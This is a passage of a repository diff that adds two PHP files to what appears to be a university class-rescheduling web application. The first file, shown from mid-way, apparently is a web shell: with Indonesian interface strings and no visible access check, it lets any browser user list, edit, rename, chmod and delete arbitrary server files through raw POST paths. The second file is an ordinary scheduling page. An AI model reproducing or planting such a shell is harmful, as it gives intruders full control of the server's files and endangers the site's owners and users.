+<input type="hidden" name="path" value="' . $_POST['path'] . '">
+<input type="hidden" name="opt" value="chmod">
+<input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
+</form>';
+    }
+
+    //rename folder
+    elseif ($_GET['opt'] == 'btw') {
+        $cwd = getcwd();
+        echo '<form action="?option&path=' . $cwd . '&opt=delete&type=buat" method="POST">
+New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
+<input type="hidden" name="path" value="' . $cwd . '">
+<input type="hidden" name="opt" value="delete">
+<input type="submit" value="Go" style="width:100px; height: 30px;"/>
+</form>';
+    }
+
+    //rename file
+    elseif ($_POST['opt'] == 'rename') {
+        if (isset($_POST['newname'])) {
+            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
+                echo '<br><br><font color="lime">CHANGE NAME SUCCESS !!</font><br/>';
+            } else {
+                echo '<script>alert("Change Name Gagal !!")</script>';
+            }
+            $_POST['name'] = $_POST['newname'];
+        }
+        echo '<form method="POST">
+New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="' . $_POST['name'] . '" />
+<input type="hidden" name="path" value="' . $_POST['path'] . '">
+<input type="hidden" name="opt" value="rename">
+<input type="submit" value="Lanjut" style="height:30px;" />
+</form>';
+    }
+
+    //edit file
+    elseif ($_POST['opt'] == 'edit') {
+        if (isset($_POST['src'])) {
+            $fp = fopen($_POST['path'], 'w');
+            if (fwrite($fp, $_POST['src'])) {
+                echo '<br><br><font color="lime">EDIT FILE SUCCESS !!</font><br/>';
+            } else {
+                echo '<script>alert("Edit File Gagal !!")</script>';
+            }
+            fclose($fp);
+        }
+        echo '<form method="POST">
+<textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
+<input type="hidden" name="path" value="' . $_POST['path'] . '">
+<input type="hidden" name="opt" value="edit">
+<input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
+</form>';
+    }
+    echo '</center>';
+} else {
+    echo '</table><br /><center>';
+
+    //delete dir
+    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
+        if ($_POST['type'] == 'dir') {
+            if (rmdir($_POST['path'])) {
+                echo '<br><br><font color="lime">DELETE DIR SUCCESS !!</font><br/>';
+            } else {
+                echo '<script>alert("Delete Dir Gagal !!")</script>>';
+            }
+        }
+
+        //delete file
+        elseif ($_POST['type'] == 'file') {
+            if (unlink($_POST['path'])) {
+                echo '<br><br><font color="lime">DELETE FILE SUCCESS !!</font><br/>';
+            } else {
+                echo '<script>alert("Delete File Gagal !!")</script>';
+            }
+        }
+    }
+
+?>
+<?php
+    echo '</center>';
+    $scandir = scandir($path);
+    $pa = getcwd();
+    echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
+<tr class="first">
+<th><center>Name</center></th>
+<th><center>Size</center></th>
+<th><center>Perm</center></th>
+<th><center>Options</center></th>
+</tr>
+<tr>';
+
+    foreach ($scandir as $dir) {
+        if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
+        echo "<tr>
+<td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path=$path/$dir\"> $dir</a></td>
+<td class=td_home><center>DIR</center></td>
+<td class=td_home><center>";
+        if (is_writable("$path/$dir")) echo '<font color="#57FF00">';
+        elseif (!is_readable("$path/$dir")) echo '<font color="#FF0004">';
+        echo perms("$path/$dir");
+        if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
+
+        echo "</center></td>
+<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
+<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
+<option value=\"Action\">Action</option>
+<option value=\"delete\">Delete</option>
+<option value=\"chmod\">Chmod</option>
+<option value=\"rename\">Rename</option>
+</select>
+<input type=\"hidden\" name=\"type\" value=\"dir\">
+<input type=\"hidden\" name=\"name\" value=\"$dir\">
+<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
+<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
+</form></center></td>
+</tr>";
+    }
+
+    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
+    foreach ($scandir as $file) {
+        if (!is_file("$path/$file")) continue;
+        $size = filesize("$path/$file") / 1024;
+        $size = round($size, 3);
+        if ($size >= 1024) {
+            $size = round($size / 1024, 2) . ' MB';
+        } else {
+            $size = $size . ' KB';
+        }
+
+        echo "<tr>
+<td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc=$path/$file&path=$path\"> $file</a></td>
+<td class=td_home><center>" . $size . "</center></td>
+<td class=td_home><center>";
+        if (is_writable("$path/$file")) echo '<font color="#57FF00">';
+        elseif (!is_readable("$path/$file")) echo '<font color="#FF0004">';
+        echo perms("$path/$file");
+        if (is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
+
+        echo "</center></td>
+<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
+<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
+<option value=\"Action\">Action</option>
+<option value=\"delete\">Delete</option>
+<option value=\"edit\">Edit</option>
+<option value=\"rename\">Rename</option>
+<option value=\"chmod\">Chmod</option>
+</select>
+<input type=\"hidden\" name=\"type\" value=\"file\">
+<input type=\"hidden\" name=\"name\" value=\"$file\">
+<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
+<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
+</form></center></td>
+</tr>";
+    }
+
+    echo '</table>
+</div>';
+}
+
+function perms($file)
+{
+    $perms = fileperms($file);
+
+    if (($perms & 0xC000) == 0xC000) {
+        // Socket
+        $info = 's';
+    } elseif (($perms & 0xA000) == 0xA000) {
+        // Symbolic Link
+        $info = 'l';
+    } elseif (($perms & 0x8000) == 0x8000) {
+        // Regular
+        $info = '-';
+    } elseif (($perms & 0x6000) == 0x6000) {
+        // Block special
+        $info = 'b';
+    } elseif (($perms & 0x4000) == 0x4000) {
+        // Directory
+        $info = 'd';
+    } elseif (($perms & 0x2000) == 0x2000) {
+        // Character special
+        $info = 'c';
+    } elseif (($perms & 0x1000) == 0x1000) {
+        // FIFO pipe
+        $info = 'p';
+    } else {
+        // Unknown
+        $info = 'u';
+    }
+
+    // Owner
+    $info .= (($perms & 0x0100) ? 'r' : '-');
+    $info .= (($perms & 0x0080) ? 'w' : '-');
+    $info .= (($perms & 0x0040) ?
+        (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
+
+    // Group
+    $info .= (($perms & 0x0020) ? 'r' : '-');
+    $info .= (($perms & 0x0010) ? 'w' : '-');
+    $info .= (($perms & 0x0008) ?
+        (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
+
+    // World
+    $info .= (($perms & 0x0004) ? 'r' : '-');
+    $info .= (($perms & 0x0002) ? 'w' : '-');
+    $info .= (($perms & 0x0001) ?
+        (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
+
+    return $info;
+}
+
+?>
+</BODY>
+
+</HTML>

+ 1053 - 0
reposiciones_crear_old.php

@@ -0,0 +1,1053 @@
+<?php
+
+require_once 'class/c_login.php';
+if (!isset($_SESSION['user'])){
+    die(header('Location: index.php'));
+}
+
+//$user = unserialize($_SESSION['user']);
+$user = Login::get_user();
+
+$user->access();
+/*print_r($user);
+print_r($user->user["id"]);
+echo "****|";
+print_r($user->acceso);//null sin permisos, w o r
+echo "|****|";
+print_r($user->profesor);
+echo "|****|";
+print_r($user->facultad["facultad_id"]);
+exit();*/
+//profesor, admin, rol, facultad
+if ($user->acceso === null && !$user->admin){
+    die(header('Location: index.php'));
+    exit();
+}
+
+//if (!$user->admin && in_array($user->acceso, ['n']))
+    //die(header('Location: main.php?error=1'));
+//$user->print_to_log('Reposiciones');
+
+//$write = $user->admin || in_array($user->acceso, ['w']);
+$write = true; //
+
+$en_fecha = $db->querySingle("SELECT ESTA_EN_PERIODO(NOW()::DATE, :periodo_id)", [':periodo_id' => $user->periodo_id])['esta_en_periodo'];
+
+
+if($user->jefe_carrera){
+    //$prof_rs = $db->query('SELECT DISTINCT * FROM fs_profesores(null, null, :fac) ORDER BY PROFESOR_NOMBRE', [':fac' => $user->facultad["facultad_id"]]);
+    $prof_rs = $db->query('SELECT DISTINCT PROFESOR.* FROM PUESTO_USUARIO
+        JOIN PUESTO_MATERIA USING (PUESTO_ID)
+        JOIN HORARIO_VIEW USING (MATERIA_ID)
+        JOIN HORARIO_PROFESOR USING (HORARIO_ID)
+        JOIN PROFESOR USING (PROFESOR_ID)
+        WHERE USUARIO_ID = :usr', [':usr' => $user->user["id"]]);
+}else{
+    $prof_rs = $db->query('SELECT DISTINCT PROFESOR.* FROM PROFESOR
+        JOIN horario_profesor USING (profesor_id)
+        JOIN HORARIO_VIEW USING (horario_id)
+        WHERE FACULTAD_ID = :fac ORDER BY profesor.profesor_nombre', [':fac' => $user->facultad["facultad_id"]]);
+}
+
+//Duraciones
+$duracion_rs = $db->query("select * from duracion order by duracion_interval");
+
+if(!is_null($user->periodo_id)){
+    //Periodo
+    $periodo_rs = $db->querySingle('SELECT periodo_fecha_inicio, periodo_fecha_fin FROM periodo WHERE periodo_id = :periodo_id', [':periodo_id' => $user->periodo_id]);
+    $periodo_fin = $periodo_rs["periodo_fecha_fin"];
+    if(strtotime($periodo_rs["periodo_fecha_inicio"])>strtotime(date("Y-m-d")) )
+        $fecha_man = date("d/m/Y", strtotime($periodo_rs["periodo_fecha_inicio"]));
+    else{
+        $dias = 3;
+        if( intval(date("w")) >=3 && intval(date("w"))<=5 )//Mie a Vie
+            $dias+=3;
+        else if( intval(date("w")) ==6 )//Sab
+            $dias+=2;
+        else if( intval(date("w")) ==0 )//Do
+            $dias+=1;
+        
+        $fecha_man = date("d/m/Y", strtotime("+".$dias." day"));
+    }
+    /*
+    // Materias
+    $id_prof = $user->profesor;
+    //$facultad_id = 28;
+    $materias_rs = $db->query('SELECT * FROM fs_materiasprofesor(:id)', [':id' => $id_prof]);
+    */
+    if(isset($_POST["fecha_inicial"]))
+        $fecha_ini = $_POST["fecha_inicial"];
+    else
+        $fecha_ini = date("d/m/Y", strtotime($periodo_rs["periodo_fecha_inicio"]));
+
+    if(isset($_POST["fecha_final"]))
+        $fecha_fin = $_POST["fecha_final"];
+    else
+        $fecha_fin = date("d/m/Y", strtotime($periodo_rs["periodo_fecha_fin"]));
+
+    $date = DateTime::createFromFormat('d/m/Y', $fecha_ini);
+    $fecha_ini_db = $date->format('Y-m-d');
+
+    $date = DateTime::createFromFormat('d/m/Y', $fecha_fin);
+    $fecha_fin_db = $date->format('Y-m-d');
+}
+
+?>
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Reposiciones crear |
+        <?= $user->facultad['facultad'] ?? "Administrador"; ?>
+    </title>
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"
+        integrity="sha512-iecdLmaskl7CVkqkXNQ/ZH/XLlvWZOJyj7Yy7tcenmpD1ypASozpmT/E0iPtmFIB46ZmdtAc9eNBvH0H/ZpiBw=="
+        crossorigin="anonymous" referrerpolicy="no-referrer" />
+    <?php
+    include 'import/html_css_files.php';
+    ?>
+    <link rel="stylesheet" href="css/jquery-ui.css">
+    <link rel="stylesheet" href="css/calendar.css">
+    <style>
+        .wizard { height: 20px; width: 80%; background: #D0D0D0; }
+        .wizard.full { background: #D0D0D0; }
+        .wizard.active > div:first-child { background: #00A6CE;  }
+        .wizard.active > div:last-child { width: 0px; height: 0px; border-style: solid; border-width: 10px 0 10px 6px; border-color: transparent transparent transparent #00a6ce; transform: rotate(0deg); }
+    </style>
+    <script src="js/jquery.min.js"></script>
+    <script src="js/bootstrap/popper.min.js"></script>
+    <script src="js/bootstrap/bootstrap.min.js"></script>
+    <script src="js/jquery-ui.js"></script>
+    <script src="js/datepicker-es.js"></script>
+</head>
+
+
+<!--  -->
+
+<body style="display: block;">
+    <?php
+    include('include/constantes.php');
+    include("import/html_header.php");
+    html_header("Reposiciones de clase", "Sistema de gestión de checador");
+    ?>
+
+    <main class="container content marco content-margin" id="local-app">
+        <?php
+        if($write==true && isset($prof_rs) && count($prof_rs)>0)  {?>
+        <!-- Botón para abrir el modal -->
+        <div class="row mb-4">
+            <div class="col-12 text-right">
+                <button type="button" class="btn btn-outline-secondary" data-tipo="1" data-toggle="modal" data-target="#modal" <?php if (!$en_fecha ) { echo "disabled"; } ?>><span class="ing-mas ing-fw"></span>Crear reposición</button>
+            </div>
+        </div>
+        <?php }?>
+        <section id="message"></section>
+        <?php require('import/periodo.php') ?>
+        <?php if(!is_null($user->periodo_id)) { ?>
+        <form id="asistencia" method="post" onsubmit="return validaFechas()">
+            <div class="form-box">
+                <input type="hidden" name="facultad" value="">
+                
+                <div class="form-group row">
+                    <label for="filtro_inicial" class="col-4 col-form-label">Fecha inicial</label>
+                    <div class="col-8 col-sm-4">
+                        <input id="filtro_inicial" name="fecha_inicial" type="text" class="form-control date-picker-filtro" placeholder="dd/mm/aaaa" maxlength="10" required="required" readonly="" value="<?php echo $fecha_ini;?>">
+                        <div class="invalid-feedback">No es una fecha válida.</div>
+                    </div>
+                </div>
+                <div class="form-group row">
+                    <label for="filtro_final" class="col-4 col-form-label">Fecha final</label>
+                    <div class="col-8 col-sm-4">
+                        <input id="filtro_final" name="fecha_final" type="text" class="form-control date-picker-filtro" placeholder="dd/mm/aaaa" maxlength="10" required="required" readonly="" value="<?php echo $fecha_fin;?>">
+                        <div class="invalid-feedback">El rango de fechas no es válido.</div>
+                    </div>
+                </div>
+            </div>
+            <div class="form-group row justify-content-center">
+                <button type="submit" class="btn btn-outline-primary mr-2" id="btn-buscar"><span class="ing-buscar ing-fw"></span> Buscar</button>
+                <button type="button" class="btn btn-outline-danger" onclick="window.location.href = window.location.href"><span class="ing-borrar ing-fw"></span> Limpiar</button>
+            </div>
+        </form>
+
+        <?php
+        
+            $reposiciones_rs = $db->query('SELECT * FROM fs_reposiciones_solicitud(:f_ini, :f_fin, :usr ,NULL, NULL)', [':f_ini' => $fecha_ini_db, ':f_fin' => $fecha_fin_db, ':usr' => $user->user["id"]]);
+        }
+        ?>
+
+        <div class="row">
+            <?php
+            if(isset($reposiciones_rs) && count($reposiciones_rs)>0){ ?>
+            <h3 class="mb-3">Reposiciones creadas</h3>
+            <div class="col-12 table-responsive px-0">
+                <table class="table table-sm table-striped table-white">
+                    <thead class="thead-dark">
+                        <tr >
+                            <th>Estado</th>
+                            <th>Materia</th>
+                            <th>Tipo</th>
+                            <th style="width:160px">Fecha falta</th>
+                            <th style="width:160px">Fecha reposición</th>
+                            <th style="width:160px">Duración</th>
+                            <th>Salón</th>
+                            <?php if($write){ ?><th>Acciones</th><?php } ?>
+                        </tr>
+                    </thead>
+                    <tbody>
+                        <?php
+                        foreach($reposiciones_rs as $reposicion){
+                        ?>
+                        <tr data-id="<?php echo $reposicion["reposicion_id"]; ?>" id="id<?php echo $reposicion["reposicion_id"]; ?>">
+                            <td class="align-middle text-center" style="color:<?php echo $reposicion["estado_color"];?>" title="<?php echo $reposicion["estado_nombre"];?>">
+                                <?php if($reposicion["estado_reposicion_id"]<3){ ?>
+                                <div class="wizard <?php if(intval($reposicion["estado_reposicion_id"])==2) echo "active";?> d-flex mx-auto">
+                                    <div class="w-50 h-100"></div>
+                                    <div class=""></div>
+                                </div>
+                                <?php } else if($reposicion["estado_reposicion_id"]==3){?>
+                                <div class="text-success text-center pt-1">
+                                    <span class="ing-autorizar ing-lg"></span>
+                                </div>
+                                <?php } else {?>
+                                <div class="text-danger text-center pt-1">
+                                    <span class="ing-negar ing-lg"></span>
+                                </div>
+                                <?php } ?>
+                            </td>
+                            <td class="align-middle"><?php echo $reposicion["materia_nombre"]; ?></td>
+                            <td class="align-middle">
+                                <?php if($reposicion["es_reposicion"]) echo "Reposición"; else echo "Cambio"; ?>
+                            </td>
+                            <td class="align-middle text-center"><?php
+                                echo date("d/m/Y", strtotime($reposicion["fecha_clase"]))."<br>".substr($reposicion["horario_hora"],0,-3)." a ".substr($reposicion["horario_hora_fin"],0,-3)." hrs.";;
+                                ?>
+                            </td>
+                            <td class="align-middle text-center"><?php
+                                
+                                echo date("d/m/Y", strtotime($reposicion["fecha_nueva"])) ."<br>".substr($reposicion["hora_nueva"],0,-3)." a ".substr($reposicion["hora_nueva_fin"],0,-3)." hrs.";
+                                ?>
+                            </td>
+                            <td class="align-middle text-center"><?php
+                                echo $reposicion["duracion_total"];
+                                ?>
+                            </td>
+                            <td class="align-middle text-center"><?php
+                                if($reposicion["salon_id"] != ""){
+                                    echo $reposicion["salon_id"];
+                                }else
+                                    echo "Pendiente";
+                                ?>
+                            </td>
+                            
+                            <?php if($write){ ?>
+                            <td class="align-middle text-center icono-acciones">
+                                <?php
+                                
+                                //no se ha aprobado
+                                if($reposicion["estado_reposicion_id"] == 1){?>
+                                <a href="#" data-tipo="2" title="Editar" data-toggle="modal" data-target="#modal"><?php echo $ICO["editar"];?></a>
+                                <a href="#" data-toggle="modal" data-target="#modal_confirm" title="Borrar"><?php echo $ICO["cancelar"];?></a>
+                                <?php } ?>
+                            </td>
+                            <?php } ?>
+                        </tr>
+                        <?php }
+                    ?>
+                    </tbody>
+                </table>
+            </div>
+            <?php } else { 
+                if(is_null($user->periodo_id)){ ?>
+            <div class="col-12 text-center">
+                <h4 class="mt-4 text-danger">Selecciona un periodo</h4>
+            </div>
+            <?php } else {?>    
+            <div class="col-12 text-center">
+                <h4 class="mt-4 text-danger">No tienes reposiciones disponibles que cumplan con los filtros</h4>
+            </div>
+            <?php }
+            } ?>
+        </div>
+
+        <div class="modal fade" id="modal" tabindex="-1" role="dialog" aria-labelledby="modal" aria-hidden="true">
+            <div class="modal-dialog modal-dialog-centered modal-xl" role="document">
+                <div class="modal-content">
+                    <div class="modal-header">
+                        <h4 class="col-12 modal-title text-center"><span id="modalLabel">Crear Reposición</span>
+                        <button type="button" class="close text-white" data-dismiss="modal" aria-label="Close">
+                            <span aria-hidden="true">&times;</span>
+                        </button></h4>
+                    </div>
+                    <div class="modal-body">
+                        <form action="./action/reposicion_insert.php" method="post" id="formaModal" onsubmit="return submitForm()">
+                            <input type="hidden" name="id" id="id">
+                            <input type="hidden" name="estado" value="1">
+                            <input type="hidden" name="ciclo" id="ciclo" value="0">
+                            <input type="hidden" name="bloque" id="bloque" value="0">
+                            
+                            <div class="form-box">
+
+                                <div class="form-group row" id="profBlock">
+                                    <label for="prof" class="col-4 col-form-label">Profesor *</label> 
+                                    <div class="col-8">
+                                        <div class="datalist datalist-select mb-1 w-100" id="dlProfesor">
+                                            <div class="datalist-input">Selecciona un profesor</div>
+                                            <span class="ing-buscar icono"></span>
+                                            <ul style="display:none">
+                                                <?php foreach($prof_rs as $prof){?>
+                                                    <li data-id="<?php echo $prof["profesor_id"];?>" <?php if($prof["profesor_id"]==$user->profesor){ echo "class='selected'";} ?> ><?php echo $prof["profesor_nombre"];?></li>
+                                                <?php } ?>
+                                            </ul>
+                                            <input type="hidden" id="prof" name="prof" value="">
+                                        </div>
+                                    </div>
+                                </div>
+                            </div>
+                            <div class="form-box prof-selected">
+                                <div class="form-group row" id="materiaBlock">
+                                    <label for="horario" class="col-4 col-form-label">Materia *</label> 
+                                    <div class="col-8">
+                                        <div class="datalist datalist-select mb-1 w-100" id="dlMateria">
+                                            <div class="datalist-input">Selecciona una materia</div>
+                                            <span class="ing-buscar icono"></span>
+                                            <ul style="display:none">
+                                            
+                                            </ul>
+                                            <input type="hidden" id="horario" name="horario" value="">
+                                        </div>
+                                    </div>
+                                </div>
+                                
+                                <div class="form-group row">
+                                    <label for="tipo" class="col-4 col-form-label">Tipo *</label> 
+                                    <div class="col-8">
+                                        <div class="datalist datalist-select mb-1 w-100" id="dlTipo">
+                                            <div class="datalist-input">Reposición</div>
+                                            <span class="ing-buscar icono"></span>
+                                            <ul style="display:none">
+                                                <li data-id="1">Reposición</li>
+                                                <li data-id="2">Cambio de salón</li>
+                                            </ul>
+                                            <input type="hidden" id="tipo" name="tipo" value="1">
+                                        </div>
+                                    </div>
+                                </div>
+
+                                <div class="form-group row materia-block">
+                                    <label for="duracion" class="col-4 col-form-label">Duración</label> 
+                                    <div class="col-4">
+                                        <select name="duracion" id="duracion" class="form-control" required="required">
+                                            <?php foreach($duracion_rs as $dura){?>
+                                            <option value="<?php echo $dura["duracion_id"];?>" data-duracion="<?php echo $dura["duracion_interval"];?>" ><?php echo $dura["duracion_nombre"];?></option>
+                                            <?php } ?>
+                                        </select>
+                                    </div>
+                                </div>
+                                
+                                <div class="form-group row cambio_block materia-block" style="display: none;">
+                                    <label for="fecha_cambio" class="col-4 col-form-label">Fecha de cambio *</label> 
+                                    <div class="col-8">
+                                        <input id="fecha_cambio" name="fecha_cambio" type="text" class="form-control date-picker" placeholder="dd/mm/aaaa" maxlength="10" required="required" readonly="readonly" value="">
+                                    </div>
+                                </div>
+
+                                <div class="form-group row repo_block materia-block">
+                                    <label for="fecha_falta" class="col-4 col-form-label">Fecha de falta *</label> 
+                                    <div class="col-8">
+                                        <input id="fecha_falta" name="fecha_falta" type="text" class="form-control date-picker" placeholder="dd/mm/aaaa" maxlength="10" required="required" readonly="readonly" value="">
+                                    </div>
+                                </div>
+                                    <div class="form-group row repo_block materia-block">
+                                    <label for="fecha_inicial" class="col-4 col-form-label">Fecha de reposicion *</label> 
+                                    <div class="col-8">
+                                        <input id="fecha_inicial" name="fecha_inicial" type="text" class="form-control date-picker-future" placeholder="dd/mm/aaaa" maxlength="10" required="required" readonly="readonly" value="">
+                                        <small class="form-text text-muted">Las reposiciones se deben solicitar con al menos 72hrs de anticipación.<br>
+                                                    Recuerda que en sábado el límite para terminar la clase es a las 15:00hrs.
+                                        </small>
+                                    </div>
+                                </div>
+                                <div class="form-group row materia-block">
+                                    <label for="hora_ini" class="col-4 col-form-label" id="hora_nombre">Hora reposición *</label>
+                                    <?php
+                                    //define("HORA_FINAL", 22);
+                                    //define("FRACCION_HORA", 15);
+                                    $default_h = 7; $default_m = 15;
+                                    ?>
+                                    <div class="col-4">
+                                        <select name="hora_ini" id="hora_ini" class="form-control" required="required">
+                                            <?php for($h = $default_h; $h < HORA_FINAL; $h++){?>
+                                            <option value="<?php echo sprintf( '%02d', $h );?>" <?php if($default_h == $h){ echo 'selected="selected"';}?>><?php echo sprintf( '%02d', $h );?></option>
+                                            <?php } ?>
+                                        </select>
+                                    </div>
+                                    <div class="col-4">
+                                        <select name="min_ini" id="min_ini" class="form-control" required="required">
+                                            <?php for($m = 0; $m < 60; $m+=(60/FRACCION_HORA)){?>
+                                            <option value="<?php echo sprintf( '%02d', $m );?>" <?php if($default_m == $m){ echo 'selected="selected"';}?>><?php echo sprintf( '%02d', $m );?></option>
+                                            <?php } ?>
+                                        </select>
+                                    </div>
+                                </div>
+
+                                
+                                <div class="form-group row materia-block">
+                                    <label for="salon" class="col-4 col-form-label">Alumnos aproximados *</label> 
+                                    <div class="col-8 col-md-4">
+                                        <input type="number" name="alumnos" id="alumnos" class="form-control" value="1" min="1" max="50">
+                                    </div>
+                                </div>
+                                
+                                <div class="form-group row materia-block">
+                                    <label for="aula" class="col-4 col-form-label">Tipo aula *</label> 
+                                    <div class="col-8">
+                                        <div class="datalist datalist-select mb-1 w-100" id="dlAula">
+                                            <div class="datalist-input">Salón</div>
+                                            <span class="ing-buscar icono"></span>
+                                            <ul style="display:none">
+                                                <li data-id="1">Salón</li>
+                                                <li data-id="2">Sala de cómputo</li>
+                                                <li data-id="3">Salón/Taller de la facultad</li>
+                                            </ul>
+                                            <input type="hidden" id="aula" name="aula" value="1">
+                                        </div>
+                                    </div>
+                                </div>
+                                <?php if(!$user->jefe_carrera){//es coordinador
+                                    $salones_rs = $db->query('SELECT * from salon_view where es_salon is true');
+                                ?>
+                                <div class="row" id="salon-editar" style="display: none;">
+                                    <div class="col-6 col-sm-4 barra-right text-right">
+                                        <p class="font-weight-bold">Salón *</p>
+                                    </div>
+                                    <div class="col-6">
+                                        <input list="lista_salones" name="dlSalon" id="dlSalon" class="form-control" placeholder="Salón">
+                                        <div class="valid-feedback">
+                                            Salón encontrado
+                                        </div>
+                                        <div class="invalid-feedback">
+                                            Salón no encontrado
+                                        </div>
+                                        <datalist id="lista_salones">
+                                            <?php
+                                            foreach ($salones_rs as $salon) {
+                                                extract($salon);
+                                                $salon_json = json_decode($salon_array, true);
+                                                if($salon_json[0]== "UNIVERSIDAD LA SALLE"){
+                                                    unset($salon_json[0]);
+                                                }
+                                                $salon_nombre = join(" / ",$salon_json);
+                                            ?>
+                                                <option data-id="<?= $salon_id ?>" data-nombre="<?= $salon_nombre ?>" value="<?= $salon_nombre ?>"></option>
+                                            <?php
+                                            }
+                                            ?>
+                                        </datalist>
+                                        <!-- <ul class="list-group" id="salones"></ul> -->
+                                        <input type="hidden" id="salon" name="salon" value="">
+                                    </div>
+                                </div>
+                                <?php } ?>
+                            
+                                <div class="form-group row materia-block">
+                                    <label for="comentario" class="col-4 col-form-label">Comentarios</label> 
+                                    <div class="col-8">
+                                        <p><i>Requerimientos específicos del salón, software especializado, etc.</i></p>
+                                        <textarea rows="3" class="form-control" id="comentario" name="comentario"></textarea>
+                                    </div>
+                                </div>
+                            </div>
+                            
+                            <div class="form-group row mt-3">
+                                <div class="offset-4 col-8">
+                                    <button type="submit" class="btn btn-outline-primary  materia-block" id="submitBtn" data-tipo="1"><?php echo $ICO["aceptar"];?> Guardar</button>
+                                    <button type="reset" class="btn btn-outline-danger" data-dismiss="modal"><?php echo $ICO["cancelar"];?> Cancelar</button>
+                                </div>
+                            </div>
+                        </form>
+                    </div>
+                </div>
+            </div>
+        </div>
+
+
+        <!-- Modal del formulario -->
+        <div class="modal fade" id="crearReposiciónOld" tabindex="-1" role="dialog" aria-labelledby="crearReposiciónLabel" aria-hidden="true">
+            <div class="modal-dialog modal-xl" role="document">
+                <div class="modal-content">
+                    <div class="modal-header">
+                        <h5 class="modal-title" id="crearReposiciónLabel">Crear Reposición</h5>
+                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
+                            <span aria-hidden="true">&times;</span>
+                        </button>
+                    </div>
+                    <div class="modal-body">
+                        <form id="form" class="form-horizontal">
+                            <div class="form-group step" id="step-1">
+                                <div class="form-box">
+                                    <div class="form-group row">
+                                        <label for="clave_profesor" class="col-4 col-form-label">Profesor</label>
+                                        <div class="col-8">
+                                            <input list="lista_profesores" name="clave_profesor" id="clave_profesor" class="form-control" placeholder="Profesor" required="required">
+                                            <div class="valid-feedback">
+                                                Profesor encontrado
+                                            </div>
+                                            <div class="invalid-feedback">
+                                                Profesor no encontrado
+                                            </div>
+                                            <datalist id="lista_profesores">
+
+                                                <?php
+                                                
+                                                foreach ($prof_rs as $prof) {
+                                                ?>
